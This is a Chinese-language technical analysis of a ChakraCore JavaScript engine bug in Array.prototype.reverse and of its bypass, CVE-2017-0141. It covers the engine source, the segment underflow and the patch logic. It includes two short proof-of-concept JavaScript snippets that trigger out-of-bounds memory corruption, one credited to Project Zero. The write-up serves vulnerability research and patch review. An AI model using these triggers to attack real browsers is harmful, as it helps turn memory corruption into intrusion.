漏洞概述
該漏洞是一個 Array.prototype.reverse 在操作時沒有控制數據完整性而導致的數組越界訪問
漏洞樣本
樣本來自 Projectzero
var a = [1];
a.length = 1000;
var j = [];
var o = {};
Object.defineProperty(o, '1', {
get: function() {
a.length = 1002;
j.fill.call(a, 7.7);
return 2;
}
});
a.__proto__ = o;
var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;
詳細分析
觸發漏洞的語句為 var r = j.reverse.call(a);
Chakra 引擎調用函數 JavascriptArray::EntryRevers
來處理這個請求。JavascriptArray::EntryRevers
的流程如下
Var JavascriptArray::EntryReverse(RecyclableObject* function, CallInfo callInfo, ...)
{
JavascriptArray* pArr = JavascriptArray::FromVar(args[0]);
if (scriptContext->GetConfig()->IsES6TypedArrayExtensionsEnabled() || pArr == nullptr)
{
if (scriptContext->GetConfig()->IsES6ToLengthEnabled())
{
length = (uint64) JavascriptConversion::ToLength(JavascriptOperators::OP_GetLength(obj, scriptContext), scriptContext);
}
else
{
length = JavascriptConversion::ToUInt32(JavascriptOperators::OP_GetLength(obj, scriptContext), scriptContext);
}
}
else
{
length = pArr->length;
}
return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetSmallIndex(), scriptContext);
}
函數首先獲取 Length,調用 JavascriptArray::ReverseHelper
完成數組的翻轉,由于 reverse 操作是發生在當前數組本身的,因此也不需要新建數組,直接在當前數組操作即可。
進入函數 JavascriptArray::ReverseHelper
對數組中的 segment 逐個進行翻轉,翻轉操作實質上是一系列的取值和賦值操作,因此需要調用其 js 層的 Getter 完成一遍 copy-from-prototype。下面是對 segment 逐個翻轉的過程
JavascriptArray::ReverseHelper
{
//......
while (seg)
{
nextSeg = seg->next;
// If seg.length == 0, it is possible that (seg.left + seg.length == prev.left + prev.length),
// resulting in 2 segments sharing the same "left".
if (seg->length > 0)
{
if (isIntArray)
{
((SparseArraySegment<int32>*)seg)->ReverseSegment(recycler);
}
else if (isFloatArray)
{
((SparseArraySegment<double>*)seg)->ReverseSegment(recycler);
}
else
{
((SparseArraySegment<Var>*)seg)->ReverseSegment(recycler);
}
seg->left = ((uint32)length) - (seg->left + seg->length);
seg->next = prevSeg;
// Make sure size doesn't overlap with next segment.
// An easy fix is to just truncate the size...
seg->EnsureSizeInBound();
// If the last segment is a leaf, then we may be losing our last scanned pointer to its previous
// segment. Hold onto it with pinPrevSeg until we reallocate below.
pinPrevSeg = prevSeg;
prevSeg = seg;
}
seg = nextSeg;
}
//......
}
其中 seg->left = ((uint32)length) - (seg->left + seg->length);
語句是為了將 segment 的left 與 right 進行翻轉,設計上并沒有什么問題,但是注意到這里的 length 是從之前 Array 中獲取的,而 seg->length 是從當前的segment中獲取。然而 Length 是易變的,期間 copy-from-prototype 操作可以對 length 進行修改,從而造成這里的 seg->Length > length。導致 seg->left 發生下溢。
當 seg->left 很大的時候 EnsureSizeInBound
便有可能將 seg 的size 變小,從而導致 segment 發生溢出
補丁分析
這個漏洞的補丁如下,發生在交換 segment 的 left 和 right 時。這里添加了判斷,如果可能發生下溢則將 left 直接設置為0 ,否則才進行計算。
seg->left = ((uint32)length) > (seg->left + seg->length) ? ((uint32)length) - (seg->left + seg->length) : 0;
經過補丁的修改 seg->left 將不會再發生下溢。
然而這里并沒有從根本上對補丁進行修補。當 length 大于 (seg->left + seg->length) 時,seg->left 會被設置為 0 。設想一種情況,copy-from-prototype 函數增加數組長度并因此增加了一個segment
seg1 => seg1->seg2
處理 seg1 時按正常流程,seg1->left依然為0,當處理 seg2 時發生 length 大于 (seg->left + seg->length) ,則 seg->left 被設置成為 0 ,此時出現兩個 seg->left 為 0 的segment。進入后續函數 EnsureSizeInBound
void SparseArraySegmentBase::EnsureSizeInBound(uint32 left, uint32 length, uint32& size, SparseArraySegmentBase* next)
{
uint32 nextLeft = next ? next->left : JavascriptArray::MaxArrayLength;
if(size != 0)
{
size = min(size, nextLeft - left);
}
}
此時 seg2->next
為 seg1 ,從而導致 nextLeft = seg1->left == 0
?。。@然 seg2 的 size 便被設置成為了 0 ,進而導致 segment 發生溢出。
于是,這里出現了第二個漏洞~ CVE-2017-0141,漏洞樣本如下
let arr = [];
arr[1000] = 321321;
let proto = {};
Object.defineProperty(proto, "0", {get: function() {
arr[2000] = 0x41414141;
return 123;
}});
arr.__proto__ = proto;
Array.prototype.reverse.call(arr);
Array.prototype.sort.call(arr);
最后的補丁發生在 copy-from-prototype 之后。length 被重新獲取了。同時修改了 JavascriptArray::EntryRevers
函數獲取 length 的方式~回歸了原始的 slot 方法。。。
// Above FillFromPrototypes call can change the length of the array. Our segment calculation below will
// not work with the stale length. Update the length.
// Note : since we are reversing the whole segment below - the functionality is not spec compliant already.
length = pArr->length;